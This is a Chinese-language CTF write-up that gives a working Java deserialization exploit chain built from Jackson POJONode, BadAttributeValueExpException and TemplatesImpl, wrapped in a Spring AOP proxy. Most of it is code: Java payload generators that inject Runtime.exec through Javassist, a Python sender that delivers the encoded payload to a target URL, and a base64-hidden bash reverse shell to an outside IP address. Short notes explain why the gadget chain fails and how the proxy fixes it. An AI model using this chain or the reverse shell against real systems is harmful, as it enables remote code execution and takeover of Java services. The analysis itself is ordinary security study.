TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "useless"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val); unser(filePath); } public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath)); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void unser(String filePath) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); in.readObject(); }
public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
1 2 3 4 5 6 7 8 9 10
| import requests import base64 import urllib.parse url = "http://39.105.51.11:28120/hack" data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read() data = base64.b64encode(data).decode() data = urllib.parse.quote(data) print(data) res = requests.get(url = url+'?payload='+data) print(res.text)
|
直接拿aliyun的exp打发现没有成功执行命令,是因为在执行之前遇到error了,看此分析,https://www.cnblogs.com/jasper-sec/p/17880638.html
直接用Aliyun CTF的Bypassit1的Exp,改一改直接一把梭。要改的是,解决Jackson反序例化链子的不稳定性,本质是因为调getter的时候,还没调到目标函数就error了。先调用了getStyleSheetDOM,然后报空指针错误,导致后面链子无法触发。解决方案就是封装一层代理,
由于之前没有导入springboot的依赖,而这个代理有部分需要导入。需要指定一下parent,在前文环境配置提到了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.3</version> <relativePath/> <!-- lookup parent from repository --> </parent> <dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.2.0.RELEASE</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils; import javassist.ClassPool; import javassist.CtClass; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\dianfengjike_urlbaby\\target\\classes\\com\\yancao\\ctf\\Main.bin";
public static void main(String[] args) throws Exception { byte[] code = getTemplates(); byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_bytecodes", codes);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxyObj); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val); unser(filePath); } public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath)); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void unser(String filePath) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); in.readObject(); }
public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
1 2 3 4 5 6 7 8 9 10
| import requests import base64 import urllib.parse url = "http://39.105.51.11:28120/hack" data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read() data = base64.b64encode(data).decode() data = urllib.parse.quote(data) print(data) res = requests.get(url = url+'?payload='+data) print(res.text)
|
总结:
二次反序列化那里,找了不知多久。。终于找到了各种失败的原因。因为在get请求时没有把base64编码后的数据url编码处理,因为存在斜杠的原因,所以失败。!!!
打TemplatesImpl,封装一层代理,解决Jackson反序例化链子的不稳定性。以及springboot的maven配置。
解决Jackson反序例化链子的不稳定性-代理分析:
https://xz.aliyun.com/t/12846
时间有些晚了,日后有空再来追究吧。
主要是参考了Json1链的调用。解决了在springboot环境中,通过Templates接口只有一个getter就是getOutputProperties,进行稳定触发。而在之前的newTransformer链中不需要考虑这些问题。这些都是由getter触发引来的问题。
再来看TemplatesImpl的getter调用链:
之前以为的触发getter方法是那个链子中的随意一个getter方法,发现不是的。应该getOutputProperties方法,对于cc3是newTransformer方法,getOutputProperties方法就是调用了其newTransformer方法。来分析一下。
我们来看一下调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| System.out.println("Hello world!");
TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class")); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl());
templates.getOutputProperties();
|
1 2 3 4 5 6 7 8 9 10
| <clinit>:14, Evil (org.example) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) main:44, Main (org.example)
|
所以对于templates.newTransformer(); templates.getOutputProperties();两种方法均可具体得看是触发getter还是newTransformer。getTransletInstance之所以不可以是因为这是一个私有方法。getTransletIndex它没有调用newInstance所以也不行,但是必须经历这个过程,所以getter就是指的getOutputProperties。至于getter相关的,_outputProperties对应的getOutputProperties还不太理解,不太影响。
对于Fields和Properties的理解:
https://xinxingastro.github.io/2018/07/21/Java/Java%E4%B8%ADfield%E5%92%8Cproperty%E7%9A%84%E5%8C%BA%E5%88%AB/
field指那些在类的内部,不能被外界看到的私有成员变量。property指的是在对象内部可以被用户设置或者读取的属性,比如那些有getter/setter方法的属性。我们新建一个Person类,在没有设置getter/setter方法时,name和age都是field,然后我给name添加getter/setter方法后,getName(), setName()和name就变成了一个property。